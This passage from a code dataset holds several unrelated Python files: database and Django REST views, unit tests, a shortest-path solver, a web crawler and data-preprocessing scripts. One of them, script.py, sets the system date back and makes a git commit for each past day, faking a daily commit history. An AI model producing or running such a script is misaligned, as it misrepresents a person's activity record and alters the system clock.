super().__init__(cozmo.robot.behavior.BehaviorTypes.StackBlocks,stop_on_exit)\n","sub_path":"cozmo_fsm/nodes.py","file_name":"nodes.py","file_ext":"py","file_size_in_byte":25898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"651197135","text":"from typing import List\n\nfrom asgard.db import AsgardDBSession\nfrom asgard.models.account import Account\nfrom asgard.models.user import User\nfrom asgard.models.user_has_account import UserHasAccount\n\n\nclass UsersBackend:\n async def get_alternate_accounts(\n self, user: User, current_account: Account\n ) -> List[Account]:\n _, UserTable = await user.to_alchemy_obj()\n _, AccountTable = await current_account.to_alchemy_obj()\n\n _join = UserTable.__table__.join(\n UserHasAccount,\n UserTable.id == UserHasAccount.c.user_id,\n isouter=True,\n ).join(\n AccountTable.__table__,\n AccountTable.id == UserHasAccount.c.account_id,\n isouter=True,\n )\n async with AsgardDBSession() as s:\n accounts = (\n await s.query(AccountTable)\n .join(_join)\n .filter(UserTable.tx_email == user.email)\n .filter(AccountTable.id != current_account.id)\n .all()\n )\n all_acc = [await Account.from_alchemy_obj(acc) for acc in accounts]\n return all_acc\n","sub_path":"asgard/backends/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"514987431","text":"import datetime\nimport os\nimport string\n\ndef startDate():\n print('input you wanted start date (YYYY/MM/DD)')\n y = input('Year : ')\n m = input('Month : ')\n d = input('Date : ')\n while(dateCheck(y,m,d)):\n print(\"error. try again.\")\n y = input('Year : ')\n m = input('Month : ')\n d = input('Date : ')\n return (int(y),int(m),int(d))\n\ndef endDate():\n print('input you wanted end date (YYYY/MM/DD)')\n y = input('Year : ')\n m = input('Month : ')\n d = input('Date : ')\n while(dateCheck(y,m,d)):\n print(\"error. try again.\")\n y = input('Year : ')\n m = input('Month : ')\n d = input('Date : ')\n return (int(y),int(m),int(d))\n\ndef dateCheck(year, month, date):\n y = int(year)\n m = int(month)\n d = int(date)\n\n if(not(y>=2017 and y<=2018)):\n return True\n if(not(m>0 and m<=12)):\n return True\n if(not(d>0 and d<=31)):\n return True\n\n if(len(year)!=4):\n return True\n if(len(month)!=2):\n return True\n if(len(date)!=2):\n return True\n return False\ndef replaceDate(y,m,d):\n d+=1\n \n if(d==29 and m == 2):\n m+=1\n d=1\n if(d>30):\n d=1\n m+=1\n if(m==13):\n y+=1\n m=1\n return (y,m,d)\ndef compare3(a,b,c,d,e,f):\n if(a!=b):\n return False\n if(c!=d):\n return False\n if(e!=f):\n return False\n return True\ntoday = datetime.date.today()\nyear = today.year\nmonth = today.month\nday = today.day\n\n(y,m,d) = startDate()\n(ey,em,ed) = endDate()\n\nwhile(not compare3(y,ey,m,em,d,ed)):\n git_add = 'git add daily_commit.md'\n git_commit = '''git commit -m \"Daily commit used Wonho's version\" '''\n file_message = ('''{0}/{1}/{2} : Daily commit sucsessfuly \\r\\n'''.format(y,m,d))\n os.system(\"date {0}/{1}/{2}\".format(y,m,d))\n logFile = open(\"daily_commit.md\",'a')\n logFile.writelines(file_message)\n logFile.close()\n os.system(git_add)\n os.system(git_commit)\n (y,m,d) = replaceDate(y,m,d)\n\nos.system(\"date {0}/{1}/{2}\".format(year,month,day))","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":2075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"3423800","text":"# -------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for\n# license information.\n# --------------------------------------------------------------------------\n\nimport pytest\nimport threading\nimport time\nfrom azure.iot.hub.devicesdk.sync_inbox import SyncClientInbox, InboxEmpty\n\n\nclass TestSyncClientInbox(object):\n def test_instantiates_empty(self):\n inbox = SyncClientInbox()\n assert inbox.empty()\n\n def test__put_adds_item_to_inbox(self, mocker):\n inbox = SyncClientInbox()\n assert inbox.empty()\n item = mocker.MagicMock()\n inbox._put(item)\n assert not inbox.empty()\n\n def test_get_removes_item_from_inbox_if_already_there(self, mocker):\n inbox = SyncClientInbox()\n assert inbox.empty()\n item = mocker.MagicMock()\n inbox._put(item)\n assert not inbox.empty()\n retrieved_item = inbox.get()\n assert retrieved_item is item\n assert inbox.empty()\n\n def test_get_waits_for_item_to_be_added_if_inbox_empty_in_blocking_mode(self, mocker):\n inbox = SyncClientInbox()\n assert inbox.empty()\n item = mocker.MagicMock()\n\n def insert_item():\n time.sleep(1) # wait before inserting\n inbox._put(item)\n\n insertion_thread = threading.Thread(target=insert_item)\n insertion_thread.start()\n\n retrieved_item = inbox.get(block=True)\n assert retrieved_item is item\n assert inbox.empty()\n\n def test_get_times_out_while_blocking_if_timeout_specified(self, mocker):\n inbox = SyncClientInbox()\n assert inbox.empty()\n with pytest.raises(InboxEmpty):\n inbox.get(block=True, timeout=1)\n\n def test_get_raises_empty_if_inbox_empty_in_non_blocking_mode(self):\n inbox = SyncClientInbox()\n assert inbox.empty()\n with pytest.raises(InboxEmpty):\n inbox.get(block=False)\n\n def test_operates_according_to_FIFO(self, mocker):\n inbox = SyncClientInbox()\n item1 = mocker.MagicMock()\n item2 = mocker.MagicMock()\n item3 = mocker.MagicMock()\n inbox._put(item1)\n inbox._put(item2)\n inbox._put(item3)\n\n assert inbox.get() is item1\n assert inbox.get() is item2\n assert inbox.get() is item3\n\n def test_can_check_if_empty(self, mocker):\n inbox = SyncClientInbox()\n assert inbox.empty()\n item = mocker.MagicMock()\n inbox._put(item)\n assert not inbox.empty()\n inbox.get()\n assert inbox.empty()\n","sub_path":"azure-iot-hub-devicesdk/tests/test_sync_inbox.py","file_name":"test_sync_inbox.py","file_ext":"py","file_size_in_byte":2692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"508155145","text":"from sympy import Matrix, zeros\n\n\nclass ShortestPathTree(object):\n def __init__(self, length_matrix):\n assert length_matrix.shape[0] == length_matrix.shape[1]\n for i in xrange(length_matrix.shape[0]):\n for j in xrange(length_matrix.shape[1]):\n assert length_matrix[i, j] >= 0\n self.length_matrix = length_matrix\n self.vertex_quantity = length_matrix.shape[0]\n\n def solve(self):\n self.shortest_length = zeros(self.vertex_quantity, 1)\n for i in xrange(1, self.vertex_quantity):\n self.shortest_length[i, 0] = float(\"inf\")\n self.parents = zeros(self.vertex_quantity, 1)\n not_visited = set(range(self.vertex_quantity))\n for i in xrange(self.vertex_quantity):\n min_length = float(\"inf\")\n min_length_ver = -1\n for ver in not_visited:\n if self.shortest_length[ver] < min_length:\n min_length_ver = ver\n min_length = self.shortest_length[ver]\n if min_length_ver == -1:\n break\n not_visited.remove(min_length_ver)\n for j in xrange(self.vertex_quantity):\n if self.length_matrix[min_length_ver, j] != 0:\n if self.shortest_length[min_length_ver, 0] + self.length_matrix[min_length_ver, j] < \\\n self.shortest_length[j, 0]:\n self.shortest_length[j, 0] = self.shortest_length[min_length_ver, 0] + self.length_matrix[\n min_length_ver, j]\n self.parents[j, 0] = min_length_ver\n return self.shortest_length, self.parents\n","sub_path":"8term/OR/lab6/ShortestPathTree.py","file_name":"ShortestPathTree.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"588993443","text":"import re\r\nimport time\r\nfrom utils import *\r\nfrom interface import user_interface\r\n\r\nuse_main_urls = False\r\nvalid_urls_file = \"urls.txt\"\r\nnot_valid_urls_file = \"nv_urls.csv\"\r\ninterface = user_interface(user_interface.ARG_MODE)\r\n\r\ndef get_urls(url):\r\n page = requests.get(url) #getURL\r\n return re.findall(\"]+)\\\">\", page.text) #parseUrl\r\n\r\ndef search_urls(url):\r\n valid_urls = []\r\n nv_urls = []\r\n\r\n urls = get_urls(url)\r\n for i in range(len(urls)): #handleExeptions\r\n try:\r\n if (urls[i][0] == \"/\" and urls[i][1] != \"/\"):\r\n urls[i] = conjugate_urls(url, urls[i])\r\n elif (urls[i][0:2] == '//'):\r\n urls[i] = \"http://\" + urls[i][2:]\r\n except IndexError:\r\n pass #urlTooShort\r\n\r\n urls = check_dup_in_list(urls)\r\n\r\n for i in range(len(urls)): #validadeUrls\r\n if valid_url(urls[i]):\r\n valid_urls.append(urls[i])\r\n else:\r\n nv_urls.append((url, urls[i]))\r\n\r\n a = valid_urls\r\n return [valid_urls, nv_urls]\r\n\r\n\r\ndef save_urls(urls):\r\n global main_urls\r\n with open(valid_urls_file, \"r\", encoding=\"utf-8\") as table_r:\r\n existing_urls = table_r.readlines()\r\n\r\n with open(valid_urls_file, \"a\", encoding=\"utf-8\") as table:\r\n for i in range(len(urls[0])):\r\n for j in range(len(existing_urls)):\r\n existing = existing_urls[j][:-1].split(\"//\")[1]\r\n new = urls[0][i].split(\"//\")[1]\r\n if (existing == new):\r\n unique = False\r\n break\r\n else:\r\n unique = True\r\n\r\n if unique and use_main_urls:\r\n if urls[0][i].split(\"/\")[2] == main_urls[0] or urls[0][i].split(\"/\")[2] == main_urls[1]:\r\n table.write(urls[0][i] + \"\\n\")\r\n elif unique and not use_main_urls:\r\n table.write(urls[0][i] + \"\\n\")\r\n with open(not_valid_urls_file, \"a\", encoding=\"utf-8\") as nv_table:\r\n for i in range(len(urls[1])):\r\n nv_table.write(urls[1][i][0] + \",\" + urls[1][i][1] + \"\\n\")\r\n\r\n\r\ndef main():\r\n global current_line\r\n first_time = time.time()\r\n try:\r\n with open(valid_urls_file, \"r\", encoding=\"utf-8\") as table:\r\n table_content = table.readlines()\r\n current_url = table_content[current_line][:-1]\r\n urls = search_urls(current_url)\r\n if urls[0] != None: #In case there are no new links on site\r\n save_urls(urls)\r\n time_took = round(time.time() - first_time,4)\r\n print(current_line, time_took, current_url, sep=\"\\t\")\r\n current_line += 1\r\n except IndexError:\r\n print(\"END OF FILE REACHED\")\r\n quit(0)\r\n\r\nif __name__ == '__main__':\r\n main_urls = interface.get_values()[\"urls\"]\r\n current_line = interface.get_values()[\"start_line\"]\r\n file_path = interface.get_values()[\"file_path\"]\r\n valid_urls_file = file_path + valid_urls_file\r\n not_valid_urls_file = file_path + not_valid_urls_file\r\n \r\n try:\r\n if (open(valid_urls_file).read() == \"\"):\r\n file_setup(valid_urls_file, list_to_str(main_urls))\r\n except FileNotFoundError:\r\n file_setup(valid_urls_file,list_to_str(main_urls))\r\n\r\n while True:\r\n main()\r\n","sub_path":"WebCrawler.py","file_name":"WebCrawler.py","file_ext":"py","file_size_in_byte":3476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"264149404","text":"from .models import Group, Participate\nimport sys\n\nsys.path.append(\"..\")\nfrom member.models import Member\n\nfrom .serializers import MessageSerializer, GroupSerializer, ParticipateSerializer, Participated_Group_Serializer\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view\nfrom rest_framework.viewsets import ModelViewSet\nfrom rest_framework.filters import SearchFilter\n\n\n# 방 검색\nclass GroupViewSet(ModelViewSet):\n queryset = Group.objects.all()\n serializer_class = GroupSerializer\n filter_backends = [SearchFilter]\n search_fields = ['GroupName']\n\n\n# 방 참여\nclass ParticipateViewSet(ModelViewSet):\n queryset = Participate.objects.all()\n serializer_class = ParticipateSerializer\n\n\n# 참여중인 방 목록\nclass ParticipatedGroupViewSet(ModelViewSet):\n queryset = Participate.objects.all()\n serializer_class = Participated_Group_Serializer\n\n def get_queryset(self):\n qs = Participate.objects.all()\n member_id = self.request.query_params.get('member_id', None)\n if member_id is not None:\n member_id_qs = qs.filter(member_id=member_id)\n return member_id_qs\n\n\n# 방 생성\n@api_view(['POST'])\ndef create_group(request):\n if request.method == 'POST':\n try:\n Group.objects.create(GroupName=request.POST['GroupName'], GroupPassword=request.POST['GroupPassword'])\n g_pid = Group.objects.get(GroupName=request.POST['GroupName'])\n m_id = Member.objects.get(member_id=request.POST['member_id'])\n Participate.objects.create(GroupPid=g_pid, member_id=m_id, Nickname=request.POST['Nickname'])\n message = Message(message=\"성공\")\n serializer = MessageSerializer(message)\n return Response(serializer.data)\n except Exception as ex:\n print(ex)\n message = Message(message=\"실패\")\n serializer = MessageSerializer(message)\n return Response(serializer.data)\n\n\n# 방 나가기 구현 삭제되면 GroupPid, schedule 같은 데이터 다 삭제\n@api_view(['DELETE'])\ndef del_member(request, GroupPid, member_id):\n if request.method == 'DELETE':\n Participate.objects.filter(GroupPid=GroupPid, member_id=member_id).delete()\n message = Message(message=\"삭제 완료 되었습니다.\")\n serializer = MessageSerializer(message)\n return Response(serializer.data)\n\n\n# 그룹 닉네임 중복확인 함수 && 회원 여부 확인 && 비밀번호 확인\n@api_view(['GET'])\ndef get_check_nick(request, GroupPid, Nickname, member_id, GroupPassword):\n if request.method == 'GET':\n part = Participate.objects.filter(GroupPid=GroupPid)\n part_nick = part.filter(Nickname=Nickname)\n part_member = Participate.objects.filter(GroupPid=GroupPid)\n pass_check = Group.objects.filter(GroupPassword=GroupPassword)\n if pass_check:\n if part_nick and part:\n message = Message(message=\"닉네임을 사용할 수 없습니다.\")\n serializer = MessageSerializer(message)\n return Response(serializer.data)\n else:\n if part_member.filter(member_id=member_id):\n message = Message(message=\"이미 참여하셨습니다.\")\n serializer = MessageSerializer(message)\n return Response(serializer.data)\n else:\n message = Message(message=\"닉네임을 사용할 수 있습니다.\")\n serializer = MessageSerializer(message)\n return Response(serializer.data)\n else:\n message = Message(message=\"비밀번호가 일치하지 않습니다.\")\n serializer = MessageSerializer(message)\n return Response(serializer.data)\n\n\n# 가게이름 중복확인 함수\n@api_view(['GET'])\ndef get_check(request, pk):\n if request.method == 'GET':\n if Group.objects.filter(GroupName=pk):\n message = Message(message=\"가게이름을 사용할 수 없습니다.\")\n serializer = MessageSerializer(message)\n return Response(serializer.data)\n else:\n message = Message(message=\"가게이름으로 사용할 수 있습니다.\")\n serializer = MessageSerializer(message)\n return Response(serializer.data)\n\n\n# 메세지 통일을 위한 클래스.\nclass Message(object):\n def __init__(self, message, created=None):\n self.message = message\n self.created = created","sub_path":"group/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"506098395","text":"\n# coding: utf-8\n\n# In[2]:\n\n\nimport nltk\nimport gensim\nfrom nltk.probability import FreqDist\nimport pickle\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import LSTM\nfrom keras.layers import Bidirectional, Dropout,Embedding\nfrom keras.callbacks import Callback\nimport numpy as np\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import OneHotEncoder\nimport tensorflowjs as tfjs\nfrom scipy.sparse import csr_matrix\nimport scipy\n\n\n# In[3]:\n\n\npath_to_save_classifier = '/home/wessam/Desktop/Maher/newClassifier'\npath_to_word2vec = '/home/wessam/Desktop/Maher/GoogleNews-vectors-negative300.bin.gz'\npath_to_datasetWords = '/home/wessam/Desktop/Maher/datasetWordsTokenized.txt'\n#############################################################################\n\n# returns the indices of the words and the strange words will be -1\ndef indexEncoder(strs, bagOfWords):\n out = []\n for word in strs:\n if word in bagOfWords:\n out.append([bagOfWords.index(word)])\n else:\n out.append([-1])\n return out\n \ndef createBagOfWords(words):\n return list(set(words))\n\n#############################################################################\n\nprint('loading the word2vec module ...')\nmodel = gensim.models.KeyedVectors.load_word2vec_format(path_to_word2vec, binary=True )\n\n#############################################################################\n\nprint('loading used words ...')\nf = open(path_to_datasetWords)\nlines = f.readlines()\n\n#############################################################################\n\nstrings = [\"\"] * len(lines)\nY_train = [0] * len(lines)\ntitle = [0] * len(lines) \n\n\nfor i in range(len(lines)) :\n\tl = nltk.word_tokenize(lines[i])\n\tstrings[i] = l[0]\n\ttitle[i] = l[1]\n\tY_train[i] = l[2]\n\n#############################################################################\n\nY_train_main = [int(label) for label in Y_train]\nX_train_main = strings\n\n#############################################################################\n\nprint('analizing words ...')\nfreqd = FreqDist(X_train_main)\ncommon_words = [ w[0] for w in freqd.most_common(100)]\nwith open(\"common_words.txt\", \"wb\") as fp: #Pickling\n pickle.dump(common_words, fp)\n\n#############################################################################\n\nprint('processing the base words ...')\nx_train = X_train_main\ny_train = Y_train_main\n\ny_train = [y_train[i] for i in range(len(y_train)) if x_train[i] in model.vocab]\nx_train = [word for word in x_train if word in model.vocab] # array of words\n# x_train = list(nltk.bigrams(x_train))\ny_train = y_train[:len(x_train)]\n\nprint(len(x_train))\nprint(len(y_train))\n\n# y_test = [ y_test[i] for i in range(len(y_test)) if x_test[i] in model.vocab and x_test[i] in x_train ]\n# x_test = [ word for word in x_test if word in model.vocab and word in x_train] # array of words\n# # x_test = list(nltk.bigrams(x_test))\n# y_test = y_test[:len(x_test)]\n\nbag_of_words = createBagOfWords(x_train);\n\nprint('encoding the words ...')\n# label_encoder = LabelEncoder()\n# integer_encoded = label_encoder.fit_transform(x_train)\ninteger_encoded = indexEncoder(x_train, bag_of_words)\n\nprint(integer_encoded[0:10])\n\n\n# In[4]:\n\n\nonehot_encoder = OneHotEncoder(sparse=True)\n# integer_encoded = integer_encoded.reshape(len(integer_encoded), 1)\n\n\n# In[15]:\n\n\nX_train_sparse = onehot_encoder.fit_transform(integer_encoded)\nY_train_sparse = csr_matrix(np.array(y_train))\n\n\n# In[16]:\n\n\nscipy.sparse.save_npz('/home/wessam/Desktop/Maher/savedSparse/X_train_sparse.npz', X_train_sparse)\nscipy.sparse.save_npz('/home/wessam/Desktop/Maher/savedSparse/Y_train_sparse.npz', Y_train_sparse)\n\n","sub_path":"model_train/batching the training process on 2 steps/step1.py","file_name":"step1.py","file_ext":"py","file_size_in_byte":3801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"485240294","text":"import collections\n\n\n\nYearCount=collections.namedtuple('YearCount','Year Count')\n\n\n\n\n\ndef readWordFile(fileName):\n \"\"\"reads in file and builds dictionary\"\"\"\n table=dict()\n file=open(str(fileName))\n YCLst=[]\n oldLine=[]\n for lines in file:\n lines=lines.strip()\n lines=lines.split(',')\n\n\n if len(lines)==1 and len(oldLine)==2:\n keys=lines[0]\n table[keys] = YCLst\n YCLst = []\n\n if len(lines) == 1:\n keys = lines[0]\n table[keys]=YCLst\n elif len(lines) == 2:\n YCLst.append(YearCount(Year=int(lines[0]),Count=int(lines[1])))\n oldLine=lines\n file.close()\n return table\ndef totalOccurrences(word,table):\n \"\"\"calculates total occurrence user input words\n word=word to calculate occurrence for\n table=dictionary made from readWordFile\n \"\"\"\n if word in table:\n totalOccur=0\n for i in table[word]:\n totalOccur+=i.Count\n return totalOccur\n else:\n return 0\n\n\n\ndef main():\n file=input(\"Enter filename to be checked: \")\n x=(readWordFile(file))\n print(x)\n print(totalOccurrences('airport',x))\n\nmain()","sub_path":"test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"643729714","text":"from psychopy.iohub.client import launchHubServer\nfrom psychopy import core, event\nimport numpy as np\nimport pyautogui\n\nio=launchHubServer()\n\nio_keyboard = []\n\n\nprint(\"PRESS KEY NOW.\")\n\nkey_clock = core.Clock()\nkey_clock.reset()\nwhile key_clock.getTime() < 5:\n # pyautogui.down('d')\n keys = io.devices.keyboard.state #check constantly\n io_keyboard.append(keys)\npyautogui.keyUp('d')\n\nio_buttons = []\nbutton_clock = core.Clock()\n\nnp.savetxt(\"key_polling_rate.csv\", io_keyboard, delimiter=',',comments='')\n\nprint(\"PRESS BUTTON NOW.\")\ncore.wait(1)\nbutton_clock.reset()\nwhile button_clock.getTime() < 5:\n buttons = io.devices.keyboard.state #check constantly\n io_buttons.append(buttons)\n print(buttons)\n\nio.quit()\n\nprint('button presses detected ', len(io_buttons))\nprint('key presses detected ', len(io_keyboard))\n\nnp.savetxt(\"button_polling_rate.csv\", str(button_keyboard), delimiter=',',comments='')\n\n\n#so far, there are slightly more key presses detected\n#than button presses...\n\n# print('keys ', io_keyboard)\n# print('buttons ', buttons)\n","sub_path":"simple_rt_experiment_valueC/testing_polling_rate/test_keypress_sensitivity.py","file_name":"test_keypress_sensitivity.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"102297483","text":"from sys import stdin, stdout\n\n#s = str(input())\ns = stdin.readline().strip()\n\nresult = []\nvowels= {'a', 'e', 'i', 'o', 'u'}\ni = 0\nl = len(s)\nwhile i < l:\n if s[i] in vowels and i + 1 < l and s[i + 1] == 'p':\n result.append(s[i])\n i += 3\n else:\n result.append(s[i])\n i += 1\n#print(\"\".join(result))\nresult.append('\\n')\nstdout.write(\"\".join(result)) \n","sub_path":"NYU CS480/Kattis/Kemija.py","file_name":"Kemija.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"333829297","text":"\"\"\"The scheme_tokens module provides functions tokenize_line and tokenize_lines\nfor converting (iterators producing) strings into (iterators producing) lists\nof tokens. A token may be:\n\n * A number (represented as an int or float)\n * A boolean (represented as a bool)\n * A symbol (represented as a string)\n * A delimiter, including parentheses, dots, and single quotes\n\nThis file also includes some features of Scheme that have not been addressed\nin the course, such as Scheme strings.\n\"\"\"\n\nfrom __future__ import print_function # Python 2 compatibility\n\nfrom ucb import main\nimport itertools\nimport string\nimport sys\nimport tokenize\n\n_NUMERAL_STARTS = set(string.digits) | set('+-.')\n_SYMBOL_CHARS = (set('!$%&*/:<=>?@^_~') | set(string.ascii_lowercase) |\n set(string.ascii_uppercase) | _NUMERAL_STARTS)\n_STRING_DELIMS = set('\"')\n_WHITESPACE = set(' \\t\\n\\r')\n_SINGLE_CHAR_TOKENS = set(\"()[]'`\")\n_TOKEN_END = _WHITESPACE | _SINGLE_CHAR_TOKENS | _STRING_DELIMS | {',', ',@'}\nDELIMITERS = _SINGLE_CHAR_TOKENS | {'.', ',', ',@'}\n\ndef valid_symbol(s):\n \"\"\"Returns whether s is a well-formed symbol.\"\"\"\n if len(s) == 0:\n return False\n for c in s:\n if c not in _SYMBOL_CHARS:\n return False\n return True\n\ndef next_candidate_token(line, k):\n \"\"\"A tuple (tok, k'), where tok is the next substring of line at or\n after position k that could be a token (assuming it passes a validity\n check), and k' is the position in line following that token. Returns\n (None, len(line)) when there are no more tokens.\"\"\"\n while k < len(line):\n c = line[k]\n if c == ';':\n return None, len(line)\n elif c in _WHITESPACE:\n k += 1\n elif c in _SINGLE_CHAR_TOKENS:\n if c == ']': c = ')'\n if c == '[': c = '('\n return c, k+1\n elif c == '#': # Boolean values #t and #f\n return line[k:k+2], min(k+2, len(line))\n elif c == ',': # Unquote; check for @\n if k+1 < len(line) and line[k+1] == '@':\n return ',@', k+2\n return c, k+1\n elif c in _STRING_DELIMS:\n if k+1 < len(line) and line[k+1] == c: # No triple quotes in Scheme\n return c+c, k+2\n line_bytes = (bytes(line[k:], encoding='utf-8'),)\n gen = tokenize.tokenize(iter(line_bytes).__next__)\n next(gen) # Throw away encoding token\n token = next(gen)\n if token.type != tokenize.STRING:\n raise ValueError(\"invalid string: {0}\".format(token.string))\n return token.string, token.end[1]+k\n else:\n j = k\n while j < len(line) and line[j] not in _TOKEN_END:\n j += 1\n return line[k:j], min(j, len(line))\n return None, len(line)\n\ndef tokenize_line(line):\n \"\"\"The list of Scheme tokens on line. Excludes comments and whitespace.\"\"\"\n result = []\n text, i = next_candidate_token(line, 0)\n while text is not None:\n if text in DELIMITERS:\n result.append(text)\n elif text == '#t' or text.lower() == 'true':\n result.append(True)\n elif text == '#f' or text.lower() == 'false':\n result.append(False)\n elif text == 'nil':\n result.append(text)\n elif text[0] in _SYMBOL_CHARS:\n number = False\n if text[0] in _NUMERAL_STARTS:\n try:\n result.append(int(text))\n number = True\n except ValueError:\n try:\n result.append(float(text))\n number = True\n except ValueError:\n pass\n if not number:\n if valid_symbol(text):\n result.append(text.lower())\n else:\n raise ValueError(\"invalid numeral or symbol: {0}\".format(text))\n elif text[0] in _STRING_DELIMS:\n result.append(text)\n else:\n print(\"warning: invalid token: {0}\".format(text), file=sys.stderr)\n print(\" \", line, file=sys.stderr)\n print(\" \" * (i+3), \"^\", file=sys.stderr)\n text, i = next_candidate_token(line, i)\n return result\n\ndef tokenize_lines(input):\n \"\"\"An iterator over lists of tokens, one for each line of the iterable\n input sequence.\"\"\"\n return (tokenize_line(line) for line in input)\n\ndef count_tokens(input):\n \"\"\"Count the number of non-delimiter tokens in input.\"\"\"\n return len(list(itertools.chain(*tokenize_lines(input))))\n\n@main\ndef run(*args):\n import argparse\n parser = argparse.ArgumentParser(description='Count Scheme tokens.')\n parser.add_argument('file', nargs='?',\n type=argparse.FileType('r'), default=sys.stdin,\n help='input file to be counted')\n args = parser.parse_args()\n print('counted', count_tokens(args.file), 'tokens')","sub_path":"project/pro4-scheme/scheme_tokens.py","file_name":"scheme_tokens.py","file_ext":"py","file_size_in_byte":4994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"237356914","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 28 15:15:49 2019\n\n\nGiven the head of a singly linked list, swap every two nodes and return its head.\n\nFor example, given 1 -> 2 -> 3 -> 4, return 2 -> 1 -> 4 -> 3.\n\n@author: carlgval\n\"\"\"\n\n\nclass Single_Linked_List(object):\n def __init__(self, value=None):\n self.head = Node(value)\n self.tail = self.head\n\n def _append(self, node):\n self.tail.next_node = node\n self.tail = node\n\n def append(self, value):\n node = Node(value)\n self._append(node)\n\n\nclass Node(object):\n def __repr__(self, i=0):\n if self.next_node is not None:\n return '' * i + 'Node %i: %s \\n' % (i, str(self.value)) \\\n + self.next_node.__repr__(i+1)\n else:\n return ' ' * i + 'Node %i: %s \\n' % (i, str(self.value))\n\n def __init__(self, value):\n self.next_node = None\n self.value = value\n\n def _disconect(self):\n self.next_node = None\n\n def swap(self):\n if self is not None and self.next_node is not None:\n temp = self.next_node\n self.next_node = self.next_node.next_node\n temp.next_node = self\n\n self.next_node = self.next_node.swap()\n\n return temp\n else:\n return self\n\n\nif __name__ == '__main__':\n sll = Single_Linked_List()\n\n for i in range(100):\n sll.append(i)\n s = sll.head.swap()\n print(s)\n","sub_path":"swap_2_nodes_singly_linked_list.py","file_name":"swap_2_nodes_singly_linked_list.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"593853233","text":"import signal\nimport sys\n\nfrom celery import states\nfrom celery.exceptions import Ignore\n\nfrom proj.celery import app\nfrom proj.utils import chaturbate\nfrom proj.utils import database\nfrom proj.utils import logging\n\nlogger = logging.get_logger(__name__, False)\n\n\n@app.task(bind=True)\ndef record_model(self, model, save_to):\n logger.info(\"Recording model: %r\", model)\n register_exit_signals()\n\n try:\n database.connect()\n database.add_recording(model)\n result = chaturbate.record_model(model, save_to)\n except:\n logger.exception(\"Exception occured in record_model task: \")\n result = 'FATAL_RECORD_MODEL_ERROR'\n finally:\n database.remove_recording(model)\n database.remove_queued(model)\n database.close()\n\n logger.info(\"Finished recording model: %r, result: %r\", model, result)\n if 'saved' not in result:\n self.update_state(\n state=states.FAILURE,\n meta=result\n )\n raise Ignore()\n return result\n\n\ndef exit_gracefully():\n sys.exit(0)\n\n\ndef register_exit_signals():\n signal.signal(signal.SIGTERM, exit_gracefully)\n","sub_path":"proj/tasks/chaturbate.py","file_name":"chaturbate.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"12204912","text":"import json\nimport copy\nimport argparse\nimport os\nimport collections\nimport numpy as np\n\narg = argparse.ArgumentParser(\"mylabel2KITTIlabel\")\n\ntarget_label = collections.OrderedDict()\ntarget_label['type'] = 'Dontcare'\ntarget_label['truncated'] = 0.0\ntarget_label['occluded'] = 0 # used in image\ntarget_label['alpha'] = 0\ntarget_label['bbox'] = [0, 0, 50, 50] # used in image\ntarget_label['dimensions'] = []\ntarget_label['location'] = []\ntarget_label['rotation_y'] = 0\n# target_label['score'] = 'Dontcare'\n\n# the height of velodyne camera\ncamera_height = -1.73\n\ntransform_location = np.mat([\n [0, -1, 0],\n [0, 0, -1],\n [1, 0, 0],\n])\n\n\ndef get_transformed_values(_list, m):\n r = m * np.mat(_list).T\n r = r.T\n return r.tolist()[0]\n\n\ndef get_dimensions(_list):\n x = _list[0]\n y = _list[1]\n z = _list[2]\n return list([z, x, y])\n\n\nstart_number = 0\n\nif __name__ == '__main__':\n arg.add_argument(\"--input\", \"-i\", default=\"\", type=str,\n help=\"input file obtained from https://3d.supervise.ly/projects\", required=True)\n arg.add_argument(\"--output_folder\", \"-o\", default=\"\", type=str, help=\"output folder\", required=True)\n args = arg.parse_args()\n\n input_filename = args.input\n output_folder = args.output_folder\n print('input filename:\\t', input_filename)\n print('output folder:\\t', output_folder)\n\n with open(input_filename) as f:\n data = json.load(f)\n\n if not os.path.exists(output_folder):\n os.mkdir(output_folder)\n\n for idx, annotations in enumerate(data):\n KITTI_annotations = []\n my_annotations = annotations['annotations']\n data_name = annotations['name']\n print('reading {} with {} label(s)'.format(data_name, len(my_annotations)))\n\n if len(my_annotations) == 0:\n print('warning {} is empty'.format(data_name))\n continue\n\n # produce new annotations\n for annotation in my_annotations:\n 